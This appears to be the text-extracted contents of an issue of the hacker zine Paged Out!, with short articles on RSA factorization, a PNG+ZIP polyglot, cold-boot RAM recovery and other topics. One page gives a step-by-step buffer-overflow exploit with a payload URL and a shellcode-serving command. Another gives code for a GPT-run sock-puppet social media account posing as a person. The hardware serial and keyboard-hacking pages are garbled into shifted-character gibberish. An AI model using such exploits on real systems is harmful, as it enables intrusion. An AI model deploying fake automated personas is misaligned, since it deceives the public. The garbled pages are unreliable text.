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If you like Paged Out!,
share it with your friends!

Hi, I'm Aga and I'm the new Editor-in-Chief of Paged Out! :)

Joining the project, | knew that it was important to many
people, but I was still pleasantly surprised when | read emails or
tweets expressing the happiness that after a long hiatus,
Paged Out! is coming back.

It showed me the power that putting diverse, interesting,
complex, or ground-breaking ideas on one page has.

It took a while for us to get here, to the point where we can
share the Issue with you, but now we're back, and we're here to
stay.

Issue 3 happened because of all the great authors who took
their time to write engaging, interesting, and all-around great
one-page articles and submitted them to us.

| would also like to thank our reviewers for their hard work and
dedication and our DTP team that made this comeback
possible, as well as everyone else who helped us along the way.

There is still work to be done and changes to be made, but with
such awonderful team and community on our side, the future
of Paged Out! looks bright.

As we are releasing this Issue into the world, we hope you will
enjoy it, share it with others, and allow it to inspire you to write
something of your own.

Happy reading!

Feedback and submissions can be sent to
articles@pagedout.institute or you can come and join us on
Discord (https://gynvael.coldwind.pl/discord)

Aga
Editor-in-Chief

This zine is free in electronic format! Feel free to share it around! Tell your friends about it!
Licenses for most articles allow anyone to record audio versions and post them online O it
might make a cool podcast or be useful for the visually impaired. When in legal doubt, check
the given article's license or contact us at articles@pagedout.institute. If you would like to
print or get printed copies, see https://pagedout.institute/?page=prints.php or email
prints@pagedout.institute. If you would like to sell printed copies, please see
https://pagedout.institute/?page=commercial-prints.php

Want to sponsor Paged Out!? Awesome! Please reach out to us at ads@pagedout.institute
Paged Out! is published and managed by:

HexArcana Cybersecurity GmbH, Cholenmoosweg 5, 8952 Oberrieden, Switzerland
UID: CHE-427 698 122, WWW: https://hexarcana.ch, email: contact@hexarcana.ch
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Artificial Intelligence Alleister Cryptley, a GPT-fueled Sock Puppeteer

Alleister Cryptley, a GPT-fueled # Load environment variables

openai_api_key = os.getenv(COPENAI_API _KEY?)
sock puppeteer x_api_key = os.getenv(’X_API_KEY”)
X_api_secret_key = os.getenv(’X APl _SEC?)
x_access_token = os.getenv(”X_ACC TOKEN™)
Xx_access_token_secret = os.getenv(’X_ACC _TOKEN SEC”]
X_bearer_token = os.getenv(”X_BEARER_TOKEN™)

Have you ever wondered how to make your sock puppet
more eshed out without any substantial work on your
behalf? Now, with LLMs (large language models) to
help you, it’s easier than ever.

# Initialize OpenAl
The goal openai .api_key = openai_api_key

Imagine that you are new to OSINT, and you’ve heard Now, we want to post the tip. This can be done with
that at some point, it would be good for you to make the following piece of code.

a fake pro le on social media for your investigations.
However, you’re a busy fellow. There’s just no way you
can handle an imagined persona. Incorporating posting
on social media into your schedule might be a daunting
task. But fret not! Alleister is here to help.

def post_to_ twitter(message: str) -> None:
client = tweepy.Client(
consumer_key=x_api_key,
consumer_secret=x_api_secret_key,
access_token=x_access_token,
access_token_secret=x_access_token_secret,
The idea bearer_token=x_bearer_token

)

Most of us know that the LLMs can talk about literally client.create_tweet(text-message)
anything now. ChatGPT even passed the Turing test . . o
a few months back. We can use it to our advantage Finally, we can add some posting time randomization

and make it say things for our sockpuppet. Introducing: @nd nish the script.

Alleister Cryptley a cybersec occultist. He recently §f name == " main ":
started sharing pieces of gpt-generated cybersec tips on if_randﬁ.randﬁt(l,_lOO) == 1-
Twitter. All by himself! tip = get_tip()

The plan of the game is as follows. We start by generating
a message to post that’s what ChatGPT will do for us.
The output will be a ready-to-post string that we will
after some random delay post on social media (Twitter
in this example). This way, we will simulate the activity
of an actual person on our account.

if tip:
delay_minutes = random.randint(0, 60)
time.sleep(delay_minutes * 60)
post_to_twitter(tip)

The wrap-up
The implementation There are several things to note.
If we know what we want to do, the rest of the project is The part about getting the API keys an,d storing
trivial. You can even ask ChatGPT to generate it for you them in the enV|ror_1me_n'EaI variables wasn’t covered
(and tweak it a little). First, we need to get a ChatGPT on this page. Luckily, it's not that complicated.
tip. We can use the following function for that. Access to OpenAl API is not free (that’s why the
def get_tip() -> Optional[str]: script uses a cheaper gpt-3.5 model).
response = openai.ChatCompletion.create( An extended version of the presented code can be
model="gpt-3.5-turbo-16k", found on my GitHub (link in the footer). You
messages=[ can nd the setup description and broader explana-
{"role”: "system”, "content": tion/justi cation of the code in the README.

"You are a human knowledgeable in "
"cybersecurity, programming and Al."},
{"role™: "user”, "content":

The script runs have to be scheduled. You can use
CRON (Linux/Mac) or Task Scheduler (Windows)

"Can you give me a tweet-length ™ to do that.
"cybersecurity, programming or Al tip " Alleister’s Twittter can be found here.
"(or trivia)? It can also be a pun."}

1 The disclaimer

)

return response.choices[0].message[’content”] This page was not generated by Al (although the temp-

) ) tation was there).
But, to use OpenAi’s API (or Twitter API), we need API

keys. By storing them in the environmental variables,
we can easily access them!

Tomasz Rybotycki

https://github.com/Tomev
n https://twitter.com/TRybotycki SAA-ALL 0.0.7
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Cryptography

Beyond The
lllusion - Breaking
RSA Encryption

Many people seem to think that encryption is some
kind of black box in which magic is done that is only
comprehensible by the best in the eld. This article
aims to not only put in perspective how encryption can
be broken, but also to show the reader that encryption is
sometimes nothing more than simple mathematics. This
article will hopefully add to the reader’s understanding
of cryptography so that they may realize that cryptog-
raphy, in Snowden’s words, is no arcane, black art. It’s
a basic protection!

RSA (Rivest-Shamir-Adleman) is a widely used asym-
metric cryptographic algorithm. There are a few meth-
ods of breaking it if it is implemented incorrectly. The
method discussed in this article is a mathematical attack
on RSA that focuses on factorization attacks in order to
derive the private key from the public key, which is more
commonly known as the RSA problem.

Key Generation

It is important to understand the process of key genera-
tion when it comes to factorization attacks. Keysets are
generated in four steps, which are:

1) Choosing primes: The rst step of generating the
keys involves choosing two random prime numbers
p and g in which p & q in order to calculate N = pq.
These form the base of the two keys.

2) Calculating (N): Inorder to advance, the totient
of N (denoted as ) is calculated. The totient of N
is the amount of (natural) numbers that are lower
or equal to N and only share the factor 1 with N.
Because N is a product of two primes, the following
counts: (N)= (p) (@=(@( 1@ 1)

3) Determining the public key exponent: The
following step is about determining the exponent
that is used in the equation for the public key, given
the variable name e. e must be between 1 and
meaning that 1 <e < (N). Another requirement
for e is that it is relatively prime compared to (N).
This means that they have no common divisor other
than 1.

4) Calculating the private key exponent: Finally,
the private key exponent (denoted as d) is calcu-
lated so that ed 1 mod (N). This is done us-
ing the Extended Euclidean Algorithm and is also
known as modular inversion. By modular inver-
sion, it is possible to solve for d by calculating
d=e 1mod (N).

This results in the number pairs public = (e; N) and
private = (d; N). In this case, N is publicly known

n https://www.divd.nl/people/Max%20van%20der%20Horst/

Beyond The Illusion - Breaking RSA Encryption

and thus not private. d is the only secret factor of the
private key. Whenever the public key is sent to another
party across a (potentially) unsafe medium, e and N are
made public and d is kept private.

Encryption and Decryption

Having the keys, encryption (1) and decryption (2) is
done in two simple calculations. In these calculations,
e and d are used as exponents over the message or ci-
phertext, after which the result is used for the modulo

operation to get the ciphertext or original message.
Ciphertext = Message® mod N

Ciphertext? mod N

)
@

Public Key Acquired - Now What?

The RSA problem typically hinges on the factorization
challenge of large primes, with success probabilities be-
coming higher when dealing with small values for N.
That’s why, for demonstration purposes, the public key
for the example in this article is public = (3;33) and
the ciphertext we’re going to decrypt is the number 5. In
order to derive the private key, the private key exponent
(d) needs to be discovered. This is done by reversing the
made calculations with the following three steps.

Message =

1) Factorizing N for discovery of p and g: The
rst step of cracking RSA is factorizing N to dis-
cover the primes used to produce it: p and g. This
can be done by algorithms like Pollard’s Rho Inte-
ger Factorization algorithm. For this example, N is
easy to factorize: 33 = p q = 11 3.

2) Calculating (N): With p and g, the next step is

to calculate (N) for which it counts that (N) =
(P) @W=@C D@ 1)=20

3) Discovery of d: With (N), the next step is to use
this totient with e to calculate d. Becaused e 1!
(d is the multiplicative inverse of ), it can be said
that ed mod = 1, which should lead to the value
of d and thus the private key. By substituting what
is already known in the equation ed mod =1, we
can conclude that 3d = 21. This means that d = %
and thus that d = 7, which e ectively gives out the
private key!

With the above calculations it becomes clear that
private = (7;33) is the private key. By using the earlier
documented calculation (2), the plaintext message can
be calculated by solving 5° mod 33 = 14! This can be
tested by encrypting the plaintext again with the docu-
mented calculation for encryption (1). This means that
14® mod 33 = 5, which is the original ciphertext and
con rms that the private key has successfully been de-
rived!

Cryptography is tricky, as this example illustrates.
Never roll your own crypto { it’s a recipe for problems!
Using tested and tried libraries prevents errors like these
(barring quantum computer threats for now ,).

Max van der Horst

Cco
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Hacking Art

Hacking Art

The net.art pioneers at the end of the 90's not only
examined the code of the Word Wide Web that was
just being born, but above all they asked themselves
how do we perceive these newly developed surfaces:.
From this, another question arises: what is a browser?
While the soncalled browser wars were raging on the
commercial market, some artists developed their own
browser experiments in parallel.

The 1/0/D Webstalker was one of the first art browsers
and is probably still the most famous. In' May 2000 it
was honored with the "Webby Award", a kind of
Internet Oscar, in the category "Internet Art". As with
many media art projects, the programmers of
Webstalker were excited with making hidden
structures of the web visible. While jconventional
browsers interpret the received code ~and usually
display it as programmers imagined, the Webstalker
offers a different view of surfing the WWW.

The following demonstrates a buffer overflow in the
I/0/D Webstalker. Hacking Art is interpreted literally
here, and the artwork is actually hacked.

To detect a crash, a simple fuzzer was developed that
deforms the HTTP protocol and the HTML content in
various ways. In the end, it turned out that the HTTP
response code was not processed correctly. Like, this
was bad: 200 OKAAAAAAAAAAAAAAAAAAAAAAAD

Since the program is old (1998) and, in fact, does not
include any of today's protection mechanisms, it was
possible to perform a classic buffer overflow. However,
not without some obstacles. A textbook buffer
overflow would directly overwrite the return value of
CPU's EIP register stored on the stack and thus control
the immediate next return in the program. With
Webstalker it is a bit more complicated, but it's
possible to overwrite another register instead.

The overwritten register in this case is the ECX register.
And the crash in the Webstalker happens at the
following unlikely place:

mov eax, dword ptr ds:[ecx] <- CRASH
call dword ptr ds:[eax] <- next

In the first instruction, the crash happens because ECX
is overwritten with 41414141 and can't be retrieved.
The instruction mov copies the memory located at the
address to which ECX points into EAX. The next
instruction calls a function at the location the address
in EAX points to. This means that whatever is at the
address that EAX now points to will be called. The
problem is that, two addresses are needed to redirect
the execution flow. Also, the address in memory
changes each time the program is executed. But
further investigation showed there is in fact another
notrchanging memory area that can be controlled.

Yannick Westphal

SAA-ALL0.0.7

The crawler function first loads the web page entered
into the browser and searches for links. The crash
happens only after one of the links has been requested.
However, the memory still contains the first URL in a
predictable memory location. This means there is a
small part in memory that can be written to,
completely independent of the actual buffer overflow.
The address pointing internally to this part of memory
was in my case 0012fb00. Fortunately somewhere in
the binary itself these bytes were present. At 6f77016b
to be precise.

If ECX is-now overwritten with 6f77016b, it points to
0012fb00, which is then written to EAX. This is read
again as an address by the call instruction, but now it
can be controlled what is at 0012fb00, because this is
the memory area where the requested URL was stored.
Now a special link can be crafted: (For readability, the
bytes are represented here in hexadecimal):

http://hacking.art:8000/AAAAMXc3\xfe\xe5\x77AAAA html

These bytes are written backwards into the memory,
thus resulting in 77e5fec3 which is now located at
address 0012fb00. The call instruction jumps to the
location-77e5fec3 and executes the bytes there, no
matter what their original purpose was. To take
complete control over the code flow, another gadget is

needed. 77e5fec3 points to the following instructions:
add al, 56 & call eax

Since EAX already points to the link, these instructions
increase EAX a bit and jump to it again. This means the
link can be extended by the appropriate length and
appended with executable code.

Another obstacle is that the link in memory does not
have enough space for longer shellcode (like msfvenom
generated). Webstalker's crawler simply skips links that
are too long. Therefore, only a few instructions can be
placed there. But now that the program is completely
under control, code can be placed there that prepares
the final jump to the shellcode stored inside the actual
buffer overflow payload.

To finally exploit, make a simple HTML page linking to
this (change hex to real bytes):

http://hacking.art:8000/AAAA\xc3\xfe\xe5\x77AAAAAAAAA
AAAAL...]JAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANXIQ
\x90\x31\xD2\xB2\x60\x86\Xx1EXX01\XxD7\XFFAXD7AAAA..html

Listen on 8080 and respond to the connection with the
shellcode. For example, generate something like this:

perl -e "print "HTTP/1.0 200 OKAAAAAAAAA™

-""\X90""x3674.""\XCC"" x4 . ""\X6B\X0L\X77\X6F"" .
"\x90""'x530. ""<shel lcode>""

Then visit the page with the Webstalker art browser
and enjoy Hacking Art!

For more hacking.art projects visit https://hacking.art

mail@hacking.art || https://twitter.com/@yawel1337
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PNG specs: https://www.w3.0rg/TR/png/#5DataRep e ZIP specs: https://pkware.cachevy.net/webdocs/casestudies/APPNOTE.TXT e

Creating a PNG+ZIP binary polyglot is, of course, trivial ¥ one just needs to concatenate both together (with ZIP at
the end) and that's it. So, this of course isn't a normal PNG+ZIP polyglot! No sir! This one is way more useless.#

Its origin story is pretty simple: | was making slides for an upcoming workshop on \ile formats, and | thought
"heeey, PNG uses DEFLATE/zlib, ZIP uses DEFLATE/zlib, so | wonder if | could make ZIP extract a PNG's IDAT
chunk" (that's the chunk with pixel data... well, Witered pixel data). And so | went to create a tool (linked at the top)
that takes a PNG and adds two custom chunks: ¢nKs before K4! j and YnKs before K8a4.e

The Wrst chunk (gnKs) contains ZIP's Local File Header (LFH, sXEYE¢). The LFH contains all the basic information
about the compressed "Wle" (called K4! j 0O3¢) and uses the extra Welds (i.e. Welds that contain custom / OS
specific metadata for a given Wle in the ZIP archive) to consume ¢nKs chunk's checksum, K4! i chunk's length,
type, as well as 2 \irst bytes of the compressed data stream. This last part is because PNG stores the compressed
data with the 2-byte zlib header and ZIP does not (so we need to get rid of it). In ewect, the LFH is followed
directly by the ZIP-compatible compressed data stream.#

The second added chunk (YnKs) contains two ZIP structures: the Central Directory Header (CDH, sXEYEY and
End of Central Directory Record (EOCDR, s XEuEn). The Wrst one is basically an extended version of the LFH and
serves as the global archive index. While only LFH has the actual compressed data, the metadata is duplicated
between LFH and CDH, which is pretty useful when repairing corrupted archives. The EOCDR is basically the start
header of a ZIP (or rather footer given that it's at the end of the \ile). It contains a \Wle owset of the \irst (and only
in our case) CDH entry (which in turn has the Wle owset of the matching LFH). It also contains the archive
comment, which is at the end of the EOCDR structure, and which can be used to eat up all remaining parts of the
PNG until the end of Wle: YnKs chunk's checksum and the whole K8a4 chunk (length, type, checksum).e

One thing to note is that both PNG and ZIP have checksums, but that's not a problem as there thankfully/sadly is
no case where a PNG and ZIP checksum would both fall into each other's checksummed data (this would be a fun
problem to solve, but even without going into CRC32 math it would be \ixable using a small 32-bit bruteforce).®
Anyway, at the end of the day, what we get is a PNG that can be renamed to &G and its K4! j chunk would get
extracted and decompressed into K4! j 08¢ Wie. s

Why is that useful? | already said it's not. It would be a bit more if the K4! j chunk contained straight up a raw
pixel bitmap, but unfortunately there's still a Witer layer there (https://www.w3.0rg/TR/PNG-Filters.html).

Anyway, this was a pretty fun exercise and a fun thing to make :).e E
i 1

Oh btw, this is the PNG image in the hexdump on top of the article (pagedout.institute's favicon) Y

Gynvael Coldwind

https://gynvael.coldwind.pl/
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Cold booting the Pi

In one of the original papers on the
Cold Boot attack [1], Halderman et
al. loaded an image of the Mona Lisa
and "cut power for varying lengths
of time" to see if data remained in
memory and gradually decayed (they
made use of DDR2 RAM). | was curi-
ous about how well the attack would
work on a modern Single Board Com-

puter (Pi 4), without transplanting Figure 1. Dumping
the memory to another board. Clone Memory using bare
metal kernel, over

the repository® which contains a sim-
ple C program to load the image of UART interface
Mona Lisa into RAM on the Pi, many times.

I used the excellent LIME kernel module in order to dump
the whole of the Pi 4’s RAM. Ideally though, a whole OS
wouldn’t be used to capture RAM data, but instead a sim-
ple bare metal program to dump the memory (which is de-
scribed later). The following command was used to disable
swap, sudo systemctl disable dphys-swap le.service
and then the system was rebooted. First, build the LIME
kernel module, then, in the ‘ramrecovery’ repo, do - cd src;
make run to Il RAM with the Mona Lisa. As an example
| got the output Done - injected 4761 images'. Then,
quickly power o /on the Pi and run the following command
to dump RAM

.

sudo insmod ./lime=$(uname =r).ko "path=out
.dump format=padded"

After dumping the memory to a le, to extract relevant
images from the dump, you can make use of the following
command to grep for the Mona Lisa (I used 18 bytes in the
grep query, as that is the length of a TGA header). This will
output les for each Mona Lisa image it nds.

LANG=C grep —text —byte=offset —only=
matching =—perl=regexp ’'\x00\x00\x02\x00
\x00\x00\x00\x00\x00\x00\x58\x02\x93\x01
\x58\x02\x18\x20" out.dump | LANG=C sed
"s/:.*//9" | xargs =1 {} dd if=out.dump
bs=1 skip={} count=725444 of={}.tga

There appeared to be 31 .tga les generated (this number
depends heavily on how fast you power cycle the Pi); how-
ever, this relates just to the number of uncorrupted headers
found, there would likely be more images remaining in the
memory dump. You can create a tiled image of all these les
by simply running montage -border O -mode concate-
nate .tga tiled.jpg; convert -resize ""3000="" tiled.jpg
tiled__small.jpg.

A lot of the images will have been corrupted, due to natural
decay, but | assumed many images will have been corrupted
by various applications being loaded into RAM at di erent
locations. | later realised a key reason for the apparent cor-
ruption is the fact that although malloc allocates memory
contiguously in virtual memory, it doesn’t allocate contigu-
ously in physical memory. This was veri ed by Iling the
memory with the Mona Lisa and dumping RAM immedi-
ately, | could see many images of the Mona Lisa appearing
in strange stripes.

Ideally, a "Cryogenic mechanical memory extraction™
robot like Wu et al. [2] created could be used so that the
memory wouldn’t be touched by a pesky OS (while dumping
memory), however, that may be a little pricey.

Lhttps://github.com/anfractuosity/ramrecovery

anfractuosity

CCBY-SA4.0

1 Cold boot attack on Pi using only Linux 2 Using bare metal kernel to extract RAM

I created a very simple bare metal kernel for the
Pi which was able to dump memory over the
UART interface at 1IMBaud (extensively using
code from here?). | used the previously dis-
cussed program to |l the memory with images,
then sprayed the DDR4 RAM with freeze spray,
powered down and then swapped the SD card
to one containing my simple bare metal kernel
and powered up again. | dumped the data sent

. Figure 2
by the bare metal kernel using an FTDI dongle g
connected to the target Pi using another Pi, do-  ater  cold
ing stty -F /dev/ttyUSBO0 1000000; (stty booting,
raw; cat > out.dump) < /dev/ttyUSBO, apparent
this took some time! It might be worth looking corruption
into using SP1 or similar in the future for faster 4 o to
speeds. malloc

| created a simple kernel module to Il con-
tiguous physical memory on the Pi, to achieve
this I rst added cma=700M@36M to /boot/cmdline.txt
as well as setting the device tree location in /boot/con-

g.txt. Then | ran the module in ‘src-module’ by do-
ing sudo insmod ramrec.ko writetoram=true le-
name=""mona.tga" singleimage=false (which wrote 939
images) and froze the RAM and switched SD cards again.

Note that between each of these ex-
periments, | left the Pi turned o for
a period of time, around 20 minutes to
ensure no data remained. Images now
appeared much much better! | made a
small modi cation to a USB hub to use
relays to control the switches, to turn
on/o USB disks programmatically. |
combined this with a Wi plug which
the target Pi was attached to. This en-
abled me to boot from a USB disk con-
taining Raspberry Pi OS, inject a sin-
gle image into contiguous memory, then
power o and wait a speci ¢ duration,
power on my bare metal kernel USB disk
and then extract the single image from
memory (see ‘src-experiment’). See Fig. 3 for an image ex-
tracted using this process with a 0.75s delay. | noticed the
images decayed very quickly with no cooling, for example
they appeared almost completely decayed around 1s.

It would be interesting to compare using liquid nitrogen to
the freeze spray in terms of e cacy, or alternatively devising
a simple system to continuously spray the DDR RAM whilst
swapping the SD card. It would be cool if it was possible
to load an image into RAM via malloc, then later dump
all memory and deduce how the image was scattered across
physical memory, although I’'m not sure if that is possible.
It would also be very interesting to investigate Linux’s ‘huge
page’ support, to utilise 2MB/1GB page sizes.

Figure 3: Found
after cold booting
(0.75s delay)

References
[1] J Alex Halderman et al. Lest we remember: cold-boot
attacks on encryption keys . In: Communications of the
ACM 52.5 (2009), pp. 91 98.

Yuanzhe Wu, Grant Skipper, and Ang Cui. Cryo-
Mechanical RAM Content Extraction Against Modern
Embedded Systems . In: 2023 IEEE Security and Pri-
vacy Workshops (SPW). IEEE. 2023, pp. 273 284.

(2]

2https://github.con/isometimes/rpi4-osdev

https://www.anfractuosity.com/
https://github.com/anfractuosity/



https://github.com/anfractuosity/ramrecovery
https://github.com/isometimes/rpi4-osdev
https://www.anfractuosity.com/
https://github.com/anfractuosity/

Hardware

&9J<MPJ= 1=JA9D
l @9L 1@-=L

Tfsjbr dpnnvojdbujpot bsf b 1z gbsu pg frfduspojdt/
Uijt hvjef xjm dpwfs uif cbtjdt pg b gfx dpnnpo
tfsjon cvttft boe uifjs bagrjdbujpot/

VK
" Ul
1.
3 02

I GEEMFA; 9LAGF
Nvmjgpjou vtjoh beesfttft
Nvmjgpjou vtjoh dijq.tfrfdu

Qpjou.up.gpjou

I DG, CAF?
Tzodispopvt
Tzodispopvt
Btzodispopvt

"FL=J¥' FL=?J9L=< ! AJ; MAL "' /!

iD jt b nvjgpjou- tzodispopvt gspupdpn Xijdi ibt 3
njoft; TDM )TFsjon Dmdl* boe TEB )TFsjbn Ebub*/ Uif TDM
njof gspwjett b dipdl- boe ui f ebub jt tijgufe bdspttuif
TEB njof/ D efwjdft ibwf b 8.cju beesftt/ }iD jt
dpnnponz vtfe cfuxffo npx.cboexjeui efwjdft pouif
tbnT djsdvju cpbse- njIf tfotpst boe FFQSPNt/ Uif
tjingrf gspupdpn Nnfbot ju dbo fwfo cf cju.cbohfe"

Vee Vcee

DEVICE
x e

N/

>

SDA |/
SCL

iD njoft bsf esjwfo jo bo pgfo.esbjo dponhvshbujpo/ B
gvm.vg sftjtups jt sfrvjsfe up qvm uif cvt vq up jut
efgbvnu )ijhi* twbuf/ B 1 jt tfou cz qvmjoh uif njof up
hspvoe- boe b 2 jt tfou cz sfifbtjoh uif njof/

>

Bit0 Bit1...Bitn

Bo tD nfttbhf cfhjot Xjui b tubsu cju/ Gps fodi cju pg
ebub jo ui f nfttbhf- uif TDM njof jt qumfe npx- boe ui f
ebub njof jt tfu fjuifs ijhi psnpx- efgfoejoh po ui f ebub
up cf tfou/ Ui f TDM njof jtuifo sfifbtfe boe uif ebub jt
tbnagrfe/ Uif nfttbhf foet Xjui b tupg cju/ Jo uif
fybnagnf bepwf-cjul > 1- cju 2 > 2-boe cjuo > 1/

https://github.com/jaygreco

Hardware Serial Cheat Sheet

1=JA9D . =JAH@J9D ' FL=J>9; = 1.

TQJ jt b nvmjgpjou- tzodispopvt gspupdpn Xijdi ibt 5
njoft; NJTP )Nbtufs Jo TnowF Pwvu* NPTJ) )Nbtufs Pwu
Tibwf Jo* TDL ) T¥sjbn Dnpd1* boe DT )Dijq THifdu*/ TQJ jt
b gvm.evarfy gspupdpr- nfbojoh ju dbo tfoe boe sfdfjwf
ebub bu uif thnf uynf TQ) jt gsFrvfoumz vtfe gps
ijhi.cbhoexjeui efwjdft jo diptf gspyjnjuz up fbdi puifs
tvdi bt BEDt boe Abti nfnpsz/

MOSI |

SCK

Bit 0

Bit1... Bitn

TQJ jt tjnjbs up 1D- fydfqu ju ibt uxp ejggFsfounjoft gps
tfoejohOsfdfjwjoh ebub/ B efwjdf jt tfifdufe cz esjwjoh
jut DT njof npx/ Xjui fbdi dmpdl qvitf pg TDL- uif NPTJ
ps NJTP njof jt uphhrfe ijhi ps mpx/ Vonjlf 1D Xijdi
bixbzt tbngrft po uif TDM sjtjoh fehf b TQJ cvt dbo
dibohf xijdi TDL fehf ebub jt rbudife po )sjtjoh ps
gbmjoh* boe uif TDL jerf tubuf )ijhi ps npx* Jo uif
fybnanf bepwf- cju 1 > 2- cju2 > 1- boe cjuo > 2/

3FAN=JKOD KQF; @G-GWK 0=; =AN=J
2J9FKEALL=J 3 02

VBSU jt b gpjou.up.gpjou gspupdpn dpnnponz sfgfssfe up
bt UUM Tfsjbr/ Ju ibt uxp njoft; Sy )Sfdfjwf* boe Uy
JUsbotnju*- boe dbo cf vtfe jo gvmevarfy/ Ju jt
btzodispopvt- nfbojoh ju epft opu sFrvjsf b dipdl njof/
Uijt nfbot uibu ju jt uinjoh.tfotjujwf/ Cpui efwjdft
nvtu brtp lopx uif usbotnjttjpo sbuf .. lopxo bt cbve
.. bifbe pg uyynT bnpoh Xxjui uif ovncfs pg cjut cfjoh
usbotnjwfe gqfs nfttbhf/ B dpnnpo dponhvsbujpo jt
226311 cbve- 2 tubsu cju- 9 ebub cjut- 2 tupq cju- boe op
gbsjuz cju/

Start _Stop

Bit01 2 .. n
Bo fybnagrf Xjui uif bcpwf dponhvsbujpo jt tipxo-
tfoejoh SP$W VBSU jt gsfrvfouz vtfe gps ufyu.ifbwz
bgagnjdbujpot nj1 ¥ cppu nphhjoh boe joufsbdujwf dpotprft/
Nboz fncfeefe Mjovy efwjdft- gps fybnaif- ibwf b
VBSU tfsibn dpotonf/

Jay Greco

SAA-TIP 0.0.7



https://github.com/jaygreco

Keyboard hacking with QMK

H&<#2! 5% +! $._,1(C =,7+ NJH

NJH ,6 750 = 15& *25 _&<#215%6k F7 5816 21 +,(+ &1% &5(2120,%
L&<#215%6 16 -&// 16 7,1< O1$5231%6 7+17 <28 $11 (&7 '25 ! "&:
#8%._6 11% 62/%&5 12(&7+&5 <28568&/" 11% ! +&// 2" 1 /27,1 #&1 = &&1k

F7,6 &;75&08&/< $86720,=14#/8k R6&56 $11 $20#,1& & 178586 /,.& /1<f
&56n $20#26n 713 %11$& 1 /&1%&5 &<n 11% O1$526k Q+,6 /167 "&!f
785& /&76 86 %2 '81n 81&; 38&$7&% 7+,1(6k

C25 T+& &;103/86 #&/2=n F +19& 86&% ! 601/ bf.&< O1$5231%
$1//8% T+& 1181$+ M1% #< T+& 61%/< $/268% P31$&@17 A&6, (1k FIs6
1 (5817 #215% #87 11< NJH 68332578% .&<#215% 25 O1$5231%
=, 125, '25 T+&6& 38532686k Q+& _&<O13 6+28/% #& 3/1$8% ,1
7+& 352385 %,58$725< 2' <285 1- +g$) 2- 7 2# $+&$. 28T &k(k +#9c
/ 2"3m, 5.1(0 "o+#9- 0300 %#"/54ok C25 NJH 72 68&
0,7 O867 #& $1//8% +#9- Ohln #87 +85& <28 6+28/% $1// 7
+#9- 0g 3#h! 11% 868& T+& M<T+21 6$5,37 #8&/2: 72 $219857
J 72 +#9- Ohlk V28 #8,/% 11% 316+ T+& W50 =158 1$$25%F
(72 7+& NJH %2860 1 O< $1681 F 86& - +# , 5.1(c
0 "o2#6X] 0 %"/ 54 $, 3(k

F' <2858 75<,1( 7+,6 21 1 %,"'&58&17 NJIHF$20317,#/& #215% T+&
+#9- 03 jhhh 177+8&723 = // #8%, 85817 '25 <28k Q+& 03257117
7+,1( 6 T+& 58(,67517,21 2" 7+8& $86720 .&<$2%&61 =E=gNM'25 T+&
W567 +1$. #&/2 210 11% =E=gGNR 25 7+8& 68$21% 218

=E=gNM H&<#2! 5%f#! 6&% %! 7! &; /75! 7,21

>6 0&17,21&%1 NIJH 548,586 T+177+& .&<O 13 #& $1//&% +#9- Oh!n
#87 285 .&<O13 $2171,16 ! 3/1$&+2/%&5 72.&1 afgggNSI?c
M?F@ggfak Q+& 352(510 490#3#, $h09 = ,// 5&3/1$& 7+17 3/1$&F
+2/%85 =7+ T+& #16& " $2178176 2" +#9- 0g  3#h! ,76&/'n 11%
619& 7+& 5&68/7 16 +#9- 0Oh! '25 NJH 72 $203,/& 11% 816+ 2172
T+& #215%k (T+< #16& ~ FI%6 -867 7+& &16,867 - 1< 72 %&Y/ =7+
.&<O13 6285%& $2%& - +,$+ $2171,16 48278610 #51$_&76n 11% 27+&5
$+I51$7856 7+17 $11127 #& ,168578% ,172 T+& @ 6285%& 1/& %,5&$7/<k¢
V28 $28/% 86& 7+,6 78&$+1,488 72 &1$2%& 11<5&/17,98/< 60 1// $+81.
2" %171 172 7+& #215%k jK27& 7+17 7+& O,$52$21752//85 32z &5,1(
T+& #215% =,/ +19& 1 35&77< 601// 102817 2" O&O25<k¢ F #&7
<285%$20311<6 %171 35278$7,21 62°7 = 15& ,6157/22 ., 1 (17 .&<#215%
150 : 158}

P19& 7+& M<7+21 6$5,37 ,16,%& 7+& .&<O136 %,5&$725< 1/21( = ,7+
+#9- 0g 3#h!n581 ,772 (&18&517& +#9- Oh!n 11% 7+&1 616+ ,7
72 T+& #215% -7+ - +178985 NIH$ %2$80&1717,21 ,16758%$76 25
<2852z 1#215%k L1$& O16+&%n 3/8(7+&#215%,172 1 %,""85&17$20F
387852381 1 7&;7 &%,7251 3/8( T+& #215% ,172 1 %,""&5&17 $20387&5
2381 ¥ 7&;7 &%,725 11% 7+&1 +,7 7+& U .&< j25 = +,$+8&9&5 &< <28
6&/8&$78% 21 <285 #215%¢ 72 +19& T+& T5O - 15& 7<3& T+& #16&™ ~ $21f
78176 ,172 <285 &%,725% ?& 35&315&% 72 = 1,71 O,187& 25 /21 (&5 '25
J727<3&2877+& #16& " %171 £,76,08/1786 ,7 0258 48,$./<7+11 !
+8011 7<3,67 $28/% 7<38&n #87 ,7 = ,// 61,// #& ¥ [27 2" $+151$7&56k

L1$& $203/8781 6198 T+8& T/& ,1 T+8& &%,7125 11% #16& " FU&$2%8 7
D7+ 1$20011%/,.& 3#][ c" c) @F?H, G2

jF+19& 1/62 -5,71&1 1#2877+,6 ,1 O25& %&711,/ +&5&K¢

=E=gG\Ri P,1(/& .&< 3 : 1&56+,3

Q+& O8##85 A8$.<,6 1 O,$52$21752//85 1+17 $11 1$7 16 1 RP? _&<f
#215%n 11% $11 #& 352(5100&% 72 1$701/,$,286/<168%+ 16 = 1,7,1(
211/21(7,08511%7+&1 &17&5,1($20011%672/181$+ 1 78450,11/n
%2:1/21% 1 O1/,$,286 &;&$871#/&1 581 ,Tn &1$k

NJH $!1 %2 6206& 2" 7+,6 16 z&//k F' <28 +,7 7+& Q .&< 21 T+&
.&<O13n,7 z,// $85/#16+ 1 6$5,37 72 6+2: 7+& O175,; ,1 <285 785f
O,11/k Q+,6 &;103/& 8686 J1$f6383$,T$ 6+257$876 72 /181g+ T+&
7850,11/ ($O%Y631$& 72 /181$+ P327/,(+M 7+&1 7+& 675,1( 4#2-) ¢

, h 00n7+&1 &17856 #87 7+& 61 O& O&T+2% $28/% #& 86&% 72 &O,7
.8< 6&488&1%$&6 '25 27+8&5 L P&6k

Micah R Ledbetter

WTFPL

Hardware

C,(85& [ 1 M+272 2" 7+& 1181$+ M1%

_&<O! 3j#! 6&$

1).1,5"# KGEgE?S<I ; L>gB

